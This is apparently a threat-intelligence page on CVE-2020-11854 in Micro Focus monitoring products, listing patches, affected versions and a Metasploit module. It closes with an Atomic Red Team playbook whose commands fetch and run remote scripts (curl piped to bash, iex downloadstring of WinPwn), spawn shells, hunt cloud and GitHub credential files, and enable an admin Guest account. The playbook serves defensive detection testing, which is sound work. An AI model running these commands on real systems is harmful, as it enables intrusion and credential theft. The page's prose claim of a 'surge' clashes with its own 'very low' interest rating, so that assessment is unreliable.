CVE-2020-11854

CRITICAL EXPLOIT TTE 8h Pub 27/10 Upd 04/08

Overview

This vulnerability is an arbitrary code execution flaw caused by improper handling of input within Micro Focus Operation Bridge Manager, Operations Bridge (containerized), and Application Performance Management components. The root cause lies in insecure processing of data that allows execution of unauthorized code without sufficient validation or restrictions. Multiple versions of these products are affected, exposing core management and monitoring features to exploitation.

Vulnerability Description

Arbitrary code execution vlnerability in Operation bridge Manager, Application Performance Management and Operations Bridge (containerized) vulnerability in Micro Focus products products Operation Bridge Manager, Operation Bridge (containerized) and Application Performance Management. The vulneravility affects: 1.) Operation Bridge Manager versions 2020.05, 2019.11, 2019.05, 2018.11, 2018.05, 10.63,10.62, 10.61, 10.60, 10.12, 10.11, 10.10 and all earlier versions. 2.) Operations Bridge (containerized) 2020.05, 2019.08, 2019.05, 2018.11, 2018.08, 2018.05. 2018.02 and 2017.11. 3.) Application Performance Management versions 9,51, 9.50 and 9.40 with uCMDB 10.33 CUP 3. The vulnerability could allow Arbitrary code execution.

Impact

An attacker with network access and no authentication can execute arbitrary code on affected Micro Focus products, leading to full system compromise. This enables unauthorized control over monitoring and management infrastructure, potentially disrupting business operations, exfiltrating sensitive data, or facilitating lateral movement within the enterprise environment. The vulnerability's CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms remote exploitation with low complexity and no user interaction required.

Solution

Micro Focus has released security advisories KM03747658, KM03747657, and KM03747854 detailing patches for Operation Bridge Manager, Operations Bridge (containerized), and Application Performance Management. Users should upgrade to the fixed versions specified in these advisories, including Operation Bridge Manager versions post-2020.05 and Application Performance Management versions beyond 9.51 with updated uCMDB. Refer to the vendor's official support pages for precise patching instructions and apply updates promptly to mitigate the vulnerability.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability present in Micro Focus products, specifically within the Operation Bridge Manager, Operations Bridge (containerized), and Application Performance Management, is characterized by the potential for arbitrary code execution. This critical flaw arises from improper input validation mechanisms, allowing an attacker to execute arbitrary commands on the affected systems. The vulnerability affects multiple versions of these products, including various releases from 2017 through 2020, thereby increasing the risk exposure for organizations utilizing these tools for application performance management and operational oversight.

Exploitation of this vulnerability can occur through several attack vectors. An attacker could leverage network access to send crafted requests to the affected applications, triggering the execution of malicious code. This could be achieved through various means, such as phishing attacks that trick users into interacting with compromised interfaces or direct exploitation of unpatched systems. Once the attacker gains access, they can execute arbitrary commands, potentially leading to unauthorized data access, system manipulation, or even complete control over the affected infrastructure. The ease of exploitation, combined with the high privileges often associated with these management tools, amplifies the threat landscape significantly.

The real-world impact of this vulnerability is profound, especially for organizations that rely on these Micro Focus products for critical operations. The ability to execute arbitrary code can lead to severe business risks, including data breaches, service disruptions, and financial losses. Organizations may face regulatory penalties if sensitive data is compromised, and the reputational damage from such incidents can be long-lasting. Furthermore, the operational capabilities of affected organizations could be severely hampered, leading to downtime and loss of productivity. The high CVSS score of 9.8 underscores the urgency with which organizations must address this vulnerability to safeguard their assets and maintain operational integrity.

To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular vulnerability assessments and penetration testing can help identify unpatched systems and potential exploitation vectors. Organizations should prioritize updating their Micro Focus products to the latest versions that contain patches for this vulnerability. Additionally, employing intrusion detection systems (IDS) can assist in monitoring for unusual activity that may indicate an attempted exploitation. Implementing strict access controls and network segmentation can further reduce the attack surface, limiting the potential for unauthorized access to critical systems.

In conclusion, the arbitrary code execution vulnerability in Micro Focus products presents a significant threat to organizations utilizing these tools for application performance management and operational oversight. The potential for exploitation through various attack vectors, combined with the severe real-world impacts, necessitates immediate attention from cybersecurity professionals. By adopting proactive detection and mitigation strategies, organizations can better protect their systems and data from the risks posed by this vulnerability. The importance of maintaining up-to-date software and employing robust security measures cannot be overstated in the face of such critical vulnerabilities.




CSURFACE threat intelligence has identified a notable surge in detection activity related to CVE-2020-11854, indicating increased adversary interest and potential exploitation attempts targeting affected Micro Focus products. Although the overall exploit trend remains stable according to EPSS metrics, the qualitative rise in telemetry suggests that threat actors are actively probing or leveraging this vulnerability more frequently. The emergence of a Metasploit module capable of chaining multiple weaknesses to achieve unauthenticated remote code execution further amplifies the risk, expanding the attack surface across both Windows and Linux environments. This development underscores the heightened threat environment for organizations using Operation Bridge Manager, Application Performance Management, and their containerized variants. Consequently, the risk level for this vulnerability should be considered elevated, as the combination of increased reconnaissance activity and accessible exploit tools lowers the barrier for successful compromise.

Affected Products (23)

Vendor Product Version CPE
microfocus Microfocus Application Performance Management 9.50 cpe:2.3:a:microfocus:application_performance_management:9.50:*:*:*:*:*:*:*
microfocus Microfocus Application Performance Management 9.51 cpe:2.3:a:microfocus:application_performance_management:9.51:*:*:*:*:*:*:*
microfocus Microfocus Operations Bridge 2017.11 cpe:2.3:a:microfocus:operations_bridge:2017.11:*:*:*:*:*:*:*
microfocus Microfocus Operations Bridge 2018.02 cpe:2.3:a:microfocus:operations_bridge:2018.02:*:*:*:*:*:*:*
microfocus Microfocus Operations Bridge 2018.05 cpe:2.3:a:microfocus:operations_bridge:2018.05:*:*:*:*:*:*:*
microfocus Microfocus Operations Bridge 2018.08 cpe:2.3:a:microfocus:operations_bridge:2018.08:*:*:*:*:*:*:*
microfocus Microfocus Operations Bridge 2018.11 cpe:2.3:a:microfocus:operations_bridge:2018.11:*:*:*:*:*:*:*
microfocus Microfocus Operations Bridge 2019.05 cpe:2.3:a:microfocus:operations_bridge:2019.05:*:*:*:*:*:*:*
microfocus Microfocus Operations Bridge 2019.08 cpe:2.3:a:microfocus:operations_bridge:2019.08:*:*:*:*:*:*:*
microfocus Microfocus Operations Bridge 2020.05 cpe:2.3:a:microfocus:operations_bridge:2020.05:*:*:*:*:*:*:*
microfocus Microfocus Operations Bridge Manager All cpe:2.3:a:microfocus:operations_bridge_manager:*:*:*:*:*:*:*:*
microfocus Microfocus Operations Bridge Manager 10.11 cpe:2.3:a:microfocus:operations_bridge_manager:10.11:*:*:*:*:*:*:*
microfocus Microfocus Operations Bridge Manager 10.12 cpe:2.3:a:microfocus:operations_bridge_manager:10.12:*:*:*:*:*:*:*
microfocus Microfocus Operations Bridge Manager 10.60 cpe:2.3:a:microfocus:operations_bridge_manager:10.60:*:*:*:*:*:*:*
microfocus Microfocus Operations Bridge Manager 10.61 cpe:2.3:a:microfocus:operations_bridge_manager:10.61:*:*:*:*:*:*:*
microfocus Microfocus Operations Bridge Manager 10.62 cpe:2.3:a:microfocus:operations_bridge_manager:10.62:*:*:*:*:*:*:*
microfocus Microfocus Operations Bridge Manager 10.63 cpe:2.3:a:microfocus:operations_bridge_manager:10.63:*:*:*:*:*:*:*
microfocus Microfocus Operations Bridge Manager 2018.05 cpe:2.3:a:microfocus:operations_bridge_manager:2018.05:*:*:*:*:*:*:*
microfocus Microfocus Operations Bridge Manager 2018.11 cpe:2.3:a:microfocus:operations_bridge_manager:2018.11:*:*:*:*:*:*:*
microfocus Microfocus Operations Bridge Manager 2019.05 cpe:2.3:a:microfocus:operations_bridge_manager:2019.05:*:*:*:*:*:*:*
+3 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
Micro Focus UCMDB Java Deserialization Unauthenticated Remote Code Execution
exploits/multi/http/microfocus_ucmdb_unauth_deser
- Unknown - View
Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings Few sightings

Threat Feed

5 events
2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2020-10-28
Exploit Published (0 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authentication Bypass
71% auth_bypass
Remote Code Execution
64% rce
hardcoded_credentials
36% hardcoded_credentials

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1078.001 Default Accounts Initial Access initial-access, persistence, privilege-escalation, defense-evasion Windows, SaaS, IaaS, Linux, macOS, Containers, Network Devices, Office Suite, Identity Provider, ESXi
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1505.003 Web Shell Kill Chain persistence Linux, macOS, Network Devices, Windows
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-70 Try Common or Default Usernames and Passwords
35%
Medium High
CAPEC-191 Read Sensitive Constants Within an Executable
34%
Low

Red Team Playbook

47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1078.001 Activate Guest Account Windows CMD Privileged
The Adversaries can activate the default Guest user. The guest account is inactivated by default
Command (CMD)
net user #{guest_user} /active:yes
T1078.001 Enable Guest Account on macOS macOS Shell Privileged
This test enables the guest account on macOS using sysadminctl utility.
Command (Shell)
sudo sysadminctl -guestAccount on
T1078.001 Enable Guest account with RDP capability and admin privileges Windows CMD Privileged
After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group, and desktop will allow multiple RDP connections.
Command (CMD)
net user #{guest_user} /active:yes
net user #{guest_user} #{guest_password}
net localgroup #{local_admin_group} #{guest_user} /add
net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
T1505.003 Web Shell Written to Disk Windows CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD)
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

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References (6)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2020-11854
softwaresupport.softwaregrp.com
GitHub CVE x_refsource_MISC
https://softwaresupport.softwaregrp.com/doc/KM03747658
softwaresupport.softwaregrp.com
GitHub CVE x_refsource_MISC
https://softwaresupport.softwaregrp.com/doc/KM03747657
softwaresupport.softwaregrp.com
GitHub CVE x_refsource_MISC
https://softwaresupport.softwaregrp.com/doc/KM03747854
zerodayinitiative.com
GitHub CVE x_refsource_MISC
https://www.zerodayinitiative.com/advisories/ZDI-20-1287/
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/161182/Micro-Focus-UCMDB-Remote-Code-Execution.html